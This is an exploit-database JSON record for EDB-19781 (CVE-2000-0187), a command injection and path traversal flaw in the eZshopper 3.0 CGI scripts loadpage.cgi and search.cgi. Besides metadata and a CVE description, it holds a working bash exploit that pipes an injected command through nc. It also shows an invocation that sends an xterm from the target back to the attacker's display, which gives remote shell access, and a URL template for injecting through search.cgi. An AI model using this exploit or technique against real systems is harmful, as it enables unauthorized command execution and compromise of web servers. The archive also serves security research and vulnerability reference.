{"exploit":{"id":"EDB-19781","name":"Alex Heiphetz Group eZshopper 3.0 - Remote Command Execution","description":"Alex Heiphetz Group eZshopper 3.0 - Remote Command Execution","cves":["CVE-2000-0187"],"author":"suid","published":"2000-02-27","platform":"multiple","type":"remote","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/19781","path":"exploits/multiple/remote/19781.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-19781.txt","vulnerabilities":[{"id":"CVE-2000-0187","state":"PUBLISHED","title":null,"titleSource":null,"description":"EZShopper 3.0 loadpage.cgi CGI script allows remote attackers to read arbitrary files via a .. (dot dot) attack or execute commands via shell metacharacters.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2000-0187","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2000-0187"},"updatedAt":"2024-08-08T05:05:54.114Z","retrievedAt":"2026-11-26T13:34:15.584Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-19781.png?v=2","url":"https://exploitbin.com/exploits/EDB-19781","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-19781/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-19781/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"source: https://web.archive.org/web/2000/https://www.securityfocus.com/bid/1014/info\n\nEZShopper is a perl-based E-Commerce software package offered by Alex Heiphetz Group, Inc. It is possible to remotely compromise a host due to a lack of checks on user input passed directly to the open() call. This vulnerability exists in two scripts shipped with EZShopper, loadpage.cgi and search.cgi.\n\nIn the first vulnerability, the variable passed to open() is called \"file\" and is submitted to a script called loadpage.cgi. There are no checks on \"file\", meaning that if \"../\" preceed an arbitrary filename/path as the file variable, those \"../\" paths will be followed and the arbitrary file anywhere on the filesystem will be displayed (provided that the uid of the webserver has access to them..). If pipes are included in the variable, arbitrary commands can be executed on the target host possibly giving remote access to the attacker with the uid of the webserver (usually 'nobody').\n\nThe second vulnerability is identical in nature to the first but is in the \"search.cgi\" script. In search.cgi, no checks are made on user input variables 'template' and 'database' (passed to open()). As a result, it is possible to view files or execute commands on the host through search.cgi as well.\n\n----------------------------------------\n\n#!/bin/bash\necho -e \"GET http: //www.example.com/cgi-bin/loadpage.cgi?user_id=1&file=|\"$1\"| HTTP/1.0\\n\\n\" | nc proxy.server.com 8080\n\n[ /cut ]\n\n$ ./ezhack.sh /usr/X11R6/bin/xterm%20-display%\n\n(this would send an xterm from the target host to wherever display is)\n\nhttp: //www.example.com/cgi-bin/search.cgi?user_id=1&database=<insert here>&template=<or insert here>&distinct=1","sha256":"5c3d2a35bd9386101008cdf37e2076f0f813254c4a4aacdaf282493229171841","bytes":1703,"fetchedAt":"2026-11-27T05:09:03.471Z","encoding":"utf-8 (display only; download retains original bytes)"}